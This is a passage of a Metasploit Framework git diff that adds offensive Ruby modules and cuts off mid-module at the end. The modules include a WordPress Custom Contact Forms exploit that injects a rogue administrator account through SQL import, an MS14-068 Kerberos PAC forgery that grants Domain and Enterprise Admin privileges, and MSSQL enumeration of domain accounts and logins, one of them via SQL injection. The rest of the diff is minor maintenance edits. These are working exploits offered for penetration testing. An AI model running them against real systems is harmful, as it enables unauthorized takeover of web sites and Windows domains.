'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail=' ], + [ 'WPVDB', '7542' ] + ], + 'DisclosureDate' => 'Aug 07 2014' + )) + end + + def get_sql(table_prefix, username, password) + # create user + sql = "INSERT INTO #{table_prefix}users (user_login, user_pass) VALUES ('#{username}','#{Rex::Text.md5(password)}');" + # make user administrator + sql << "INSERT INTO #{table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{table_prefix}users where user_login='#{username}'),'#{table_prefix}capabilities','a:1:{s:13:\"administrator\";b:1;}'),((select id from #{table_prefix}users where user_login='#{username}'),'#{table_prefix}user_level','10');" + + sql + end + + def get_table_prefix + res = send_request_cgi({ + 'uri' => wordpress_url_admin_post, + 'method' => 'POST', + 'vars_post' => { + 'ccf_export' => "1" + } + }) + return nil if res.nil? || res.code != 302 || res.headers['Location'] !~ /\.sql$/ + + file = res.headers['Location'] + res_file = send_request_cgi('uri' => file) + return nil if res_file.nil? || res_file.code != 200 || res_file.body.nil? + + match = res_file.body.match(/insert into `(.+_)customcontactforms_fields`/i) + return nil if match.nil? || match.length < 2 + + table_prefix = match[1] + table_prefix + end + + def run + username = Rex::Text.rand_text_alpha(10) + password = Rex::Text.rand_text_alpha(20) + + print_status("#{peer} - Trying to get table_prefix") + table_prefix = get_table_prefix + if table_prefix.nil? + print_error("#{peer} - Unable to get table_prefix") + return + else + print_status("#{peer} - got table_prefix '#{table_prefix}'") + end + + data = Rex::MIME::Message.new + data.add_part(get_sql(table_prefix, username, password), 'text/plain', nil, "form-data; name=\"import_file\"; filename=\"#{Rex::Text.rand_text_alpha(5)}.sql\"") + data.add_part('1', nil, nil, 'form-data; name="ccf_merge_import"') + post_data = data.to_s + + print_status("#{peer} - Inserting user #{username} with password #{password}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_post, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + ) + + if res.nil? || res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms' + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + # test login + cookie = wordpress_login(username, password) + + # login successfull + if cookie + print_status("#{peer} - User #{username} with password #{password} successfully created") + report_auth_info( + sname: 'WordPress', + host: rhost, + port: rport, + user: username, + pass: password, + active: true + ) + else + print_error("#{peer} - User creation failed") + return + end + end + +end diff --git a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb index e072425d9f..44f67456a9 100644 --- a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb +++ b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb new file mode 100644 index 0000000000..b25482c8cb --- /dev/null +++ b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Kerberos::Client + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS14-068 Microsfot Kerberos Checksum Validation Vulnerability', + 'Description' => %q{ + This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem + exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS + request, where a domain user may forge a PAC with arbitrary privileges, including + Domain Administrator. This module requests a TGT ticket with a forged PAC and exports it to + a MIT Kerberos Credential Cache file. It can be loaded on Windows systems with the Mimikatz + help. It has been tested successfully on Windows 2008. + }, + 'Author' => + [ + 'Tom Maddock', # Vulnerability discovery + 'Sylvain Monne', # pykek framework and exploit + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-6324'], + ['MSB', 'MS14-068'], + ['OSVDB', '114751'], + ['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'], + ['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'], + ['URL', 'https://github.com/bidord/pykek'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit'] + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Nov 18 2014' + )) + + register_options( + [ + OptString.new('USER', [ true, 'The Domain User' ]), + OptString.new('PASSWORD', [ true, 'The Domain User password' ]), + OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]), + OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000']) + ], self.class) + end + + def run + print_status("Validating options...") + + unless datastore['USER_SID'] =~ /^S-(\d+-){6}\d+$/ + print_error("Invalid USER_SID. Ex: S-1-5-21-1755879683-3641577184-3486455962-1000") + return + end + + domain = datastore['DOMAIN'].upcase + + print_status("Using domain #{domain}...") + + user_sid_arr = datastore['USER_SID'].split('-') + domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-') + user_rid = user_sid_arr[user_sid_arr.length - 1].to_i + + unicode_password = Rex::Text.to_unicode(datastore['PASSWORD']) + password_digest = OpenSSL::Digest.digest('MD4', unicode_password) + + pre_auth = [] + pre_auth << build_as_pa_time_stamp(key: password_digest, etype: Rex::Proto::Kerberos::Crypto::RC4_HMAC) + pre_auth << build_pa_pac_request + pre_auth + + print_status("#{peer} - Sending AS-REQ...") + res = send_request_as( + client_name: "#{datastore['USER']}", + server_name: "krbtgt/#{domain}", + realm: "#{domain}", + key: password_digest, + pa_data: pre_auth + ) + + unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP + print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR + print_error("#{peer} - Invalid AS-REP, aborting...") + return + end + + print_status("#{peer} - Parsing AS-REP...") + + session_key = extract_session_key(res, password_digest) + logon_time = extract_logon_time(res, password_digest) + ticket = res.ticket + + pre_auth = [] + pre_auth << build_pa_pac_request + + groups = [ + 513, # DOMAIN_USERS + 512, # DOMAIN_ADMINS + 520, # GROUP_POLICY_CREATOR_OWNERS + 518, # SCHEMA_ADMINISTRATORS + 519 # ENTERPRISE_ADMINS + ] + + pac = build_pac( + client_name: datastore['USER'], + group_ids: groups, + domain_id: domain_sid, + user_id: user_rid, + realm: domain, + logon_time: logon_time, + checksum_type: Rex::Proto::Kerberos::Crypto::RSA_MD5 + ) + + auth_data = build_pac_authorization_data(pac: pac) + sub_key = build_subkey(subkey_type: Rex::Proto::Kerberos::Crypto::RC4_HMAC) + + print_status("#{peer} - Sending TGS-REQ...") + + res = send_request_tgs( + client_name: datastore['USER'], + server_name: "krbtgt/#{domain}", + realm: domain, + session_key: session_key, + ticket: ticket, + auth_data: auth_data, + pa_data: pre_auth, + subkey: sub_key + ) + + unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP + print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR + print_error("#{peer} - Invalid TGS-REP, aborting...") + return + end + + print_good("#{peer} - Valid TGS-Response, extracting credentials...") + + cache = extract_kerb_creds(res, sub_key.value) + + path = store_loot('windows.kerberos', 'application/octet-stream', rhost, cache.encode) + print_good("#{peer} - MIT Credential Cache saved on #{path}") + end + + def warn_error(res) + msg = '' + + if Rex::Proto::Kerberos::Model::ERROR_CODES.has_key?(res.error_code) + error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] + msg = "#{error_info[0]} - #{error_info[1]}" + else + msg = 'Unknown error' + end + + msg + end +end + diff --git a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb index 80cd9a82a9..cfd7686bcb 100644 --- a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb +++ b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb index 35f7127993..48937bf983 100644 --- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,7 +28,8 @@ class Metasploit3 < Msf::Auxiliary ['Wifi Key 1', /wifi_key1=(\S+)/i], ['Wifi Key 2', /wifi_key2=(\S+)/i], ['Wifi Key 3', /wifi_key3=(\S+)/i], - ['Wifi Key 4', /wifi_key4=(\S+)/i] + ['Wifi Key 4', /wifi_key4=(\S+)/i], + ['Wifi PSK PWD', /wifi_psk_pwd=(\S+)/i] ] } @@ -115,7 +116,7 @@ class Metasploit3 < Msf::Auxiliary begin connect sock.put(Rex::Text.rand_text(5)) - res = sock.get_once + res = sock.get_once(-1, 10) disconnect rescue Rex::ConnectionError => e print_error("Connection failed: #{e.class}: #{e}") @@ -146,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary connect sock.put(pkt) - res = sock.get + res = sock.get_once(-1, 10) disconnect diff --git a/modules/auxiliary/admin/misc/wol.rb b/modules/auxiliary/admin/misc/wol.rb index cba102f051..8afcd0100e 100644 --- a/modules/auxiliary/admin/misc/wol.rb +++ b/modules/auxiliary/admin/misc/wol.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -36,14 +36,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST', 'RPORT') end - # - # Restore the original rhost:rport - # - def cleanup - datastore['RHOST'] = @last_rhost - datastore['RPORT'] = @last_rport - end - # # Convert the MAC option to binary format # @@ -85,6 +77,14 @@ class Metasploit3 < Msf::Auxiliary nil end + def wol_rhost + datastore['IPV6'] ? "ff:ff:ff:ff:ff:ff" : "255.255.255.255" + end + + def wol_rport + 9 + end + def run # If the MAC is bad, no point to continue mac = get_mac_addr @@ -94,15 +94,6 @@ class Metasploit3 < Msf::Auxiliary pass = parse_password return if pass.nil? - # Save the original rhost:rport settings so we can restore them - # later once the module is done running - @last_rhost = rhost - @last_rport = rport - - # Config to broadcast - datastore['RHOST'] = datastore['IPV6'] ? "ff:ff:ff:ff:ff:ff" : "255.255.255.255" - datastore['RPORT'] = 9 - # Craft the WOL packet wol_pkt = "\xff" * 6 #Sync stream (magic packet) wol_pkt << mac * 16 #Mac address @@ -110,7 +101,10 @@ class Metasploit3 < Msf::Auxiliary # Send out the packet print_status("Sending WOL packet...") - connect_udp + connect_udp( true, { + 'RHOST' => wol_rhost, + 'RPORT' => wol_rport + }) udp_sock.put(wol_pkt) disconnect_udp end diff --git a/modules/auxiliary/admin/motorola/wr850g_cred.rb b/modules/auxiliary/admin/motorola/wr850g_cred.rb index 6126266f1f..187b8a7d25 100644 --- a/modules/auxiliary/admin/motorola/wr850g_cred.rb +++ b/modules/auxiliary/admin/motorola/wr850g_cred.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/ms/ms08_059_his2006.rb b/modules/auxiliary/admin/ms/ms08_059_his2006.rb index ef3b49e2f4..d067729154 100644 --- a/modules/auxiliary/admin/ms/ms08_059_his2006.rb +++ b/modules/auxiliary/admin/ms/ms08_059_his2006.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/mssql/mssql_enum.rb b/modules/auxiliary/admin/mssql/mssql_enum.rb index 698fffa2c9..97e709bd31 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary module to work, valid administrative user credentials must be supplied. }, - 'Author' => [ 'Carlos Perez <carlos_perez [at] darkoperator.com>' ], + 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ], 'License' => MSF_LICENSE )) end diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb new file mode 100644 index 0000000000..27ad860676 --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb @@ -0,0 +1,240 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/mssql_commands' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration', + 'Description' => %q{ + This module can be used to bruteforce RIDs associated with the domain of the SQL Server + using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed + through SQL Server queries as any user with the PUBLIC role (everyone). Information that + can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated + accounts can then be used in online dictionary attacks. + }, + 'Author' => + [ + 'nullbind <scott.sutherland[at]netspi.com>', + 'antti <antti.rantasaari[at]netspi.com>' + ], + 'License' => MSF_LICENSE, + 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']] + )) + + register_options( + [ + OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]), + ], self.class) + end + + def run + # Check connection and issue initial query + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") + if mssql_login_datastore + print_good('Connected.') + else + print_error('Login was unsuccessful. Check your credentials.') + disconnect + return + end + + # Get the server name + sql_server_name = get_sql_server_name + print_status("SQL Server Name: #{sql_server_name}") + + # Get the domain name + sql_server_domain = get_windows_domain + if sql_server_domain.nil? + print_error("Could not recover the SQL Server's domain.") + disconnect + return + else + print_status("Domain Name: #{sql_server_domain}") + end + + # Check if the domain and hostname are the same + if sql_server_name == sql_server_domain + print_error("The SQL Server does not appear to be part of a Windows domain.") + disconnect + return + end + + # Get the base sid for the domain + windows_domain_sid = get_windows_domain_sid(sql_server_domain) + if windows_domain_sid.nil? + print_error("Could not recover the SQL Server's domain sid.") + disconnect + return + else + print_good("Found the domain sid: #{windows_domain_sid}") + end + + # Get a list of windows users, groups, and computer accounts using SUSER_NAME() + print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...") + win_domain_user_list = get_win_domain_users(windows_domain_sid) + + disconnect + + if win_domain_user_list.nil? || win_domain_user_list.empty? + print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.') + return + end + + # Print number of objects found and write to a file + print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.") + + win_domain_user_list.sort.each do |windows_login| + vprint_status(" - #{windows_login}") + end + + # Create table for report + windows_domain_login_table = Rex::Ui::Text::Table.new( + 'Header' => 'Windows Domain Accounts', + 'Ident' => 1, + 'Columns' => ['name'] + ) + + # Add brute forced names to table + win_domain_user_list.each do |object_name| + windows_domain_login_table << [object_name] + end + + # Create output file + this_service = report_service( + :host => rhost, + :port => rport, + :name => 'mssql', + :proto => 'tcp' + ) + file_name = "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv" + path = store_loot( + 'mssql.domain.accounts', + 'text/plain', + datastore['RHOST'], + windows_domain_login_table.to_csv, + file_name, + 'Domain Users enumerated through SQL Server', + this_service) + print_status("Query results have been saved to: #{path}") + end + + # Get list of windows accounts,groups,and computer accounts + def get_win_domain_users(windows_domain_sid) + + # Create array to store the windws accounts etc + windows_logins = [] + + # Fuzz the principal_id parameter passed to the SUSER_NAME function + (500..datastore['FuzzNum']).each do |principal_id| + + # Convert number to hex and fix order + principal_id_hex = "%02X" % principal_id + principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ("0"+ principal_id_hex)) + principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join + + # Add padding + principal_id_hex_padded2 = principal_id_clean.ljust(8, '0') + + # Create full sid + win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}" + + # Return if sid does not resolve correctly for a domain + if win_sid.length < 48 + return nil + end + + # Setup query + sql = "SELECT SUSER_SNAME(#{win_sid}) as name" + + # Execute query + result = mssql_query(sql) + + # Parse results + parse_results = result[:rows] + windows_login = parse_results[0][0] + + # Print account,group,or computer account etc + if windows_login.length != 0 + print_status(" - #{windows_login}") + + vprint_status("Test sid: #{win_sid}") + end + + # Add to windows domain object list + windows_logins.push(windows_login) unless windows_logins.include?(windows_login) + end + + # Return list of logins + windows_logins + end + + # Get windows domain + def get_windows_domain + + # Setup query to check the domain + sql = "SELECT DEFAULT_DOMAIN() as mydomain" + + # Run query + result = mssql_query(sql) + + # Parse query results + parse_results = result[:rows] + sql_server_domain = parse_results[0][0] + + # Return domain + sql_server_domain + end + + # Get the sql server's hostname + def get_sql_server_name + + # Setup query to check the server name + sql = "SELECT @@servername" + + # Run query + result = mssql_query(sql) + + # Parse query results + parse_results = result[:rows] + sql_instance_name = parse_results[0][0] + sql_server_name = sql_instance_name.split('\\')[0] + + # Return servername + sql_server_name + end + + # Get windows domain + def get_windows_domain_sid(sql_server_domain) + + # Set group + domain_group = "#{sql_server_domain}\\Domain Admins" + + # Setup query to check the Domain SID + sql = "select SUSER_SID('#{domain_group}') as dasid" + + # Run query + result = mssql_query(sql) + + # Parse query results + parse_results = result[:rows] + object_sid = parse_results[0][0] + domain_sid = object_sid[0..47] + + # Return if sid does not resolve for a domain + if domain_sid.length == 0 + return nil + end + + # Return domain sid + domain_sid + end +end diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb new file mode 100644 index 0000000000..10632d13eb --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb @@ -0,0 +1,219 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/mssql_commands' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL_SQLI + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration', + 'Description' => %q{ + This module can be used to bruteforce RIDs associated with the domain of the SQL Server + using the SUSER_SNAME function via Error Based SQL injection. This is similar to the + smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC + role (everyone). Information that can be enumerated includes Windows domain users, groups, + and computer accounts. Enumerated accounts can then be used in online dictionary attacks. + The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];-- + }, + 'Author' => + [ + 'nullbind <scott.sutherland[at]netspi.com>', + 'antti <antti.rantasaari[at]netspi.com>' + ], + 'License' => MSF_LICENSE, + 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']] + )) + + register_options( + [ + OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 3000]) + ], self.class) + end + + def run + print_status("#{peer} - Grabbing the server and domain name...") + db_server_name = get_server_name + if db_server_name.nil? + print_error("#{peer} - Unable to grab the server name") + return + else + print_good("#{peer} - Server name: #{db_server_name}") + end + + db_domain_name = get_domain_name + if db_domain_name.nil? + print_error("#{peer} - Unable to grab domain name") + return + end + + # Check if server is on a domain + if db_server_name == db_domain_name + print_error("#{peer} - The SQL Server does not appear to be part of a Windows domain") + return + else + print_good("#{peer} - Domain name: #{db_domain_name}") + end + + print_status("#{peer} - Grabbing the SID for the domain...") + windows_domain_sid = get_windows_domain_sid(db_domain_name) + if windows_domain_sid.nil? + print_error("#{peer} - Could not recover the SQL Server's domain sid.") + return + else + print_good("#{peer} - Domain sid: #{windows_domain_sid}") + end + + # Get a list of windows users, groups, and computer accounts using SUSER_NAME() + print_status("#{peer} - Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...") + domain_users = get_win_domain_users(windows_domain_sid) + if domain_users.nil? + print_error("#{peer} - Sorry, no Windows domain accounts were found, or DC could not be contacted.") + return + end + + # Print number of objects found and write to a file + print_good("#{peer} - #{domain_users.length} user accounts, groups, and computer accounts were found.") + + # Create table for report + windows_domain_login_table = Rex::Ui::Text::Table.new( + 'Header' => 'Windows Domain Accounts', + 'Ident' => 1, + 'Columns' => ['name'] + ) + + # Add brute forced names to table + domain_users.each do |object_name| + windows_domain_login_table << [object_name] + end + + print_line(windows_domain_login_table.to_s) + + # Create output file + filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv" + path = store_loot( + 'mssql.domain.accounts', + 'text/plain', + datastore['RHOST'], + windows_domain_login_table.to_csv, + filename, + 'SQL Server query results' + ) + print_status("Query results have been saved to: #{path}") + end + + # Get the server name + def get_server_name + clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) + clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) + sql = "(select '#{clue_start}'+@@servername+'#{clue_end}')" + + result = mssql_query(sql) + + if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ + instance_name = $1 + sql_server_name = instance_name.split('\\')[0] + else + sql_server_name = nil + end + + sql_server_name + end + + # Get the domain name of the SQL Server + def get_domain_name + clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) + clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) + sql = "(select '#{clue_start}'+DEFAULT_DOMAIN()+'#{clue_end}')" + + result = mssql_query(sql) + + if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ + domain_name = $1 + else + domain_name = nil + end + + domain_name + end + + # Get the SID for the domain + def get_windows_domain_sid(db_domain_name) + domain_group = "#{db_domain_name}\\Domain Admins" + + clue_start = Rex::Text.rand_text_alpha(8) + clue_end = Rex::Text.rand_text_alpha(8) + + sql = "(select cast('#{clue_start}'+(select stuff(upper(sys.fn_varbintohexstr((SELECT SUSER_SID('#{domain_group}')))), 1, 2, ''))+'#{clue_end}' as int))" + + result = mssql_query(sql) + + if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ + object_sid = $1 + domain_sid = object_sid[0..47] + return nil if domain_sid.empty? + else + domain_sid = nil + end + + domain_sid + end + + # Get list of windows accounts, groups and computer accounts + def get_win_domain_users(domain_sid) + clue_start = Rex::Text.rand_text_alpha(8) + clue_end = Rex::Text.rand_text_alpha(8) + + windows_logins = [] + + # Fuzz the principal_id parameter (RID in this case) passed to the SUSER_NAME function + (500..datastore['FuzzNum']).each do |principal_id| + + if principal_id % 100 == 0 + print_status("#{peer} - Querying SID #{principal_id} of #{datastore['FuzzNum']}") + end + + user_sid = build_user_sid(domain_sid, principal_id) + + # Return if sid does not resolve correctly for a domain + if user_sid.length < 48 + return nil + end + + sql = "(SELECT '#{clue_start}'+(SELECT SUSER_SNAME(#{user_sid}) as name)+'#{clue_end}')" + + result = mssql_query(sql) + + if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ + windows_login = $1 + + unless windows_login.empty? || windows_logins.include?(windows_login) + windows_logins.push(windows_login) + print_good("#{peer} - #{windows_login}") + end + end + + end + + windows_logins + end + + def build_user_sid(domain_sid, rid) + # Convert number to hex and fix order + principal_id = "%02X" % rid + principal_id = principal_id.size.even? ? principal_id : "0#{principal_id}" + principal_id = principal_id.scan(/(..)/).reverse.join + # Add padding + principal_id = principal_id.ljust(8, '0') + + # Create full sid + "0x#{domain_sid}#{principal_id}" + end + +end diff --git a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb new file mode 100644 index 0000000000..dd90b59eef --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb @@ -0,0 +1,172 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/mssql_commands' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration', + 'Description' => %q{ + This module can be used to obtain a list of all logins from a SQL Server with any login. + Selecting all of the logins from the master..syslogins table is restricted to sysadmins. + However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Server + logins using the SUSER_SNAME function by fuzzing the principal_id parameter. This is + pretty simple, because the principal IDs assigned to logins are incremental. Once logins + have been enumerated they can be verified via sp_defaultdb error analysis. This is + important, because not all of the principal IDs resolve to SQL logins (some resolve to + roles instead). Once logins have been enumerated, they can be used in dictionary attacks. + }, + 'Author' => ['nullbind <scott.sutherland[at]netspi.com>'], + 'License' => MSF_LICENSE, + 'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']] + )) + + register_options( + [ + OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 300]), + ], self.class) + end + + def run + # Check connection and issue initial query + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") + if mssql_login_datastore + print_good('Connected.') + else + print_error('Login was unsuccessful. Check your credentials.') + disconnect + return + end + + # Query for sysadmin status + print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...") + user_status = check_sysadmin + + # Check if user has sysadmin role + if user_status == 1 + print_good("#{datastore['USERNAME']} is a sysadmin.") + else + print_status("#{datastore['USERNAME']} is NOT a sysadmin.") + end + + # Get a list if sql server logins using SUSER_NAME() + print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.") + print_status('Enumerating logins...') + sql_logins_list = get_sql_logins + if sql_logins_list.nil? || sql_logins_list.empty? + print_error('Sorry, somethings went wrong - SQL Server logins were found.') + disconnect + return + else + # Print number of initial logins found + print_good("#{sql_logins_list.length} initial SQL Server logins were found.") + + sql_logins_list.sort.each do |sql_login| + if datastore['VERBOSE'] + print_status(" - #{sql_login}") + end + end + end + + # Verify the enumerated SQL Logins using sp_defaultdb error ananlysis + print_status('Verifying the SQL Server logins...') + sql_logins_list_verified = verify_logins(sql_logins_list) + if sql_logins_list_verified.nil? + print_error('Sorry, no SQL Server logins could be verified.') + disconnect + return + else + + # Display list verified SQL Server logins + print_good("#{sql_logins_list_verified.length} SQL Server logins were verified:") + sql_logins_list_verified.sort.each do |sql_login| + print_status(" - #{sql_login}") + end + end + + disconnect + end + + # Checks if user is a sysadmin + def check_sysadmin + # Setup query to check for sysadmin + sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" + + # Run query + result = mssql_query(sql) + + # Parse query results + parse_results = result[:rows] + status = parse_results[0][0] + + # Return status + return status + end + + # Gets trusted databases owned by sysadmins + def get_sql_logins + # Create array to store the sql logins + sql_logins = [] + + # Fuzz the principal_id parameter passed to the SUSER_NAME function + (1..datastore['FuzzNum']).each do |principal_id| + # Setup query + sql = "SELECT SUSER_NAME(#{principal_id}) as login" + + # Execute query + result = mssql_query(sql) + + # Parse results + parse_results = result[:rows] + sql_login = parse_results[0][0] + + # Add to sql server login list + sql_logins.push(sql_login) unless sql_logins.include?(sql_login) + end + + # Return list of logins + sql_logins + end + + # Checks if user has the db_owner role + def verify_logins(sql_logins_list) + + # Create array for later use + verified_sql_logins = [] + + fake_db_name = Rex::Text.rand_text_alpha_upper(24) + + # Check if the user has the db_owner role is any databases + sql_logins_list.each do |sql_login| + # Setup query + sql = "EXEC sp_defaultdb '#{sql_login}', '#{fake_db_name}'" + + # Execute query + result = mssql_query(sql) + + # Parse results + parse_results = result[:errors] + result = parse_results[0] + + # Check if sid resolved to a sql login + if result.include?(fake_db_name) + verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login) + end + + # Check if sid resolved to a sql login + if result.include?('alter the login') + # Add sql server login to verified list + verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login) + end + end + + verified_sql_logins + end +end diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb new file mode 100644 index 0000000000..f691a81169 --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -0,0 +1,185 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/mssql_commands' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server Escalate Db_Owner', + 'Description' => %q{ + This module can be used to escalate 